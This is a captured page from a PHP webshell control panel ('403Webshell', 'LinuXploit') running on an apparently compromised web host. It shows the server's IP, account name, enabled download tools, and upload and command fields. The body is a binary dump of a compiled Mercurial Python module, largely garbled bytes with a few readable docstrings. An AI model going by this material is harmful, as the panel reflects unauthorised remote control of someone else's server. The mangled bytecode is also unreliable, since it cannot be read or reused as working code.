403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.216.220
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/dirstateutils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/dirstateutils/__pycache__/timestamp.cpython-313.pyc
�

6�h�����SSKJr SSKrSSKrSSKrSSKrSSKJrJr SSK	J
r
 Sr\R"SS\
55rSS	jrSS
jrSSjrSSjrSS
jrSrSSjrg)�)�annotationsN)�Optional�Tuple�)�errori���c�8^�\rSrSrSrU4SjrSrSrSrU=r	$)�	timestamp�a�
A Unix timestamp with optional nanoseconds precision,
modulo 2**31 seconds.

A 3-tuple containing:

`truncated_seconds`: seconds since the Unix epoch,
truncated to its lower 31 bits

`subsecond_nanoseconds`: number of nanoseconds since `truncated_seconds`.
When this is zero, the sub-second precision is considered unknown.

`second_ambiguous`: whether this timestamp is still "reliable"
(see `reliable_mtime_of`) if we drop its sub-second component.
c�B>�Uup#nU[-X44n[TU]	X5$)N)�	rangemask�super�__new__)�cls�value�truncated_seconds�subsec_nanos�second_ambiguous�	__class__s     ��C/usr/lib/python3/dist-packages/mercurial/dirstateutils/timestamp.pyr�timestamp.__new__&s-���<A�9��)9�"�Y�.��O���w��s�*�*�c�.�[R"S5e�Nz+timestamp should never be compared directly�r�ProgrammingError��self�others  r�__eq__�timestamp.__eq__+����$�$�9�
�	
rc�.�[R"S5errrs  r�__gt__�timestamp.__gt__0r!r�)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr#�__static_attributes__�
__classcell__)rs@rr	r	s���� +�

�

�
rr	c��UR5up[[R"U55[R"U5 URU5 $![R"U5 URU5 f=f)zvreturn a timestamp for "now" in the current vfs

This will raise an exception if no temporary files could be created.
)�mkstemp�mtime_of�os�fstat�close�unlink)�vfs�tmpfd�tmpnames   r�
get_fs_nowr76sX��
�[�[�]�N�E��������(�
������
�
�7���	������
�
�7��s�A�)Bc�6�[R[S5$)z,
Returns the `timestamp` at the Unix epoch.
)rr)�tuplerr	r%rr�zeror:Cs���=�=��F�+�+rc��URn[S5nX-nX-n[X4S45$![a U[RnSnN.f=f)zc
Takes an `os.stat_result`-like object and returns a `timestamp` object
for its modification time.
ge��ArF)�st_mtime_ns�int�AttributeError�stat�ST_MTIMEr	)�stat_result�nanos�billion�secsrs     rr/r/Jsd��
'�
�'�'���c�(���������d�%�0�1�1�����4�=�=�)����
�s�.�A�Ac�.�[U5n[X!5$)z2Wrapper for `make_mtime_reliable` for stat objects)r/�make_mtime_reliable)rA�
present_mtime�
file_mtimes   r�reliable_mtime_ofrIds���+�&�J��z�9�9rc��USnUSnUSnUSnXB:Xa!U(aU(aX5:a
[X#S45$gXBs=:a
SU-:ag U$U$)a Same as `mtime_of`, but return `None` or a `Timestamp` with
`second_ambiguous` set if the date might be ambiguous.

A modification time is reliable if it is older than "present_time" (or
sufficiently in the future).

Otherwise a concurrent modification might happens with the same mtime.
r�TNi�Q)r	)�file_timestamprG�file_second�file_ns�boundary_second�boundary_nss      rrFrFlsx��!��#�K��Q��G�#�A�&�O���"�K��%��{��$� �+��!=�>�>��	�	F�)�o�*E�	F��
G���~�rg�������?c�D�[R"5n[U5n[U5nUSUS:XaUUSUS:XaI[R"5U-
[:�aUS4$[U5nUSUS:XaUSUS:XaMIUS4$![a gf=f)aPWait until the next update from the filesystem time by writing in a loop
a new temporary file inside the working directory and checking if its time
differs from the first one observed.

Returns `None` if we are unable to get the filesystem time,
`(timestamp, True)` if we've timed out waiting for the filesystem clock
to tick, and `(timestamp, False)` if we've waited successfully.

On Linux, your average tick is going to be a "jiffy", or 1/HZ.
HZ is your kernel's tick rate (if it has one configured) and the value
is the one returned by `grep 'CONFIG_HZ=' /boot/config-$(uname -r)`,
again assuming a normal setup.

In my case (Alphare) at the time of writing, I get `CONFIG_HZ=250`,
which equates to 4ms.
This might change with a series that could make it to Linux 6.12:
https://lore.kernel.org/all/20241002-mgtime-v10-8-d1c4717f5284@kernel.org
rrKTFN)�time�	monotonicr7�FS_TICK_WAIT_TIMEOUT�OSError)r4�start�old_fs_time�new_fs_times    r�wait_until_fs_tickrY�s���&
�N�N��E�$� ��o�� ��o��
��N�k�!�n�,��A��+�a�.�0��~�~��%�'�*>�>�#�T�*�*�$�S�/�K�
��N�k�!�n�,��A��+�a�.�0��U�#�#������s�AB�)#B�
B�B)�return�Optional[timestamp])rZr	)rA�os.stat_resultrZr	)rAr\rGr	rZr[)rLr	rGr	rZr[)rZz Optional[Tuple[timestamp, bool]])�
__future__r�	functoolsr0r?rR�typingrr�rr�total_orderingr9r	r7r:r/rIrFrTrYr%rr�<module>rbs���#��	���"��
�	����
��
��
�B
�,�2�4:��:�09�:��:����.7����D��#$r

Youez - 2016 - github.com/yon3zu
LinuXploit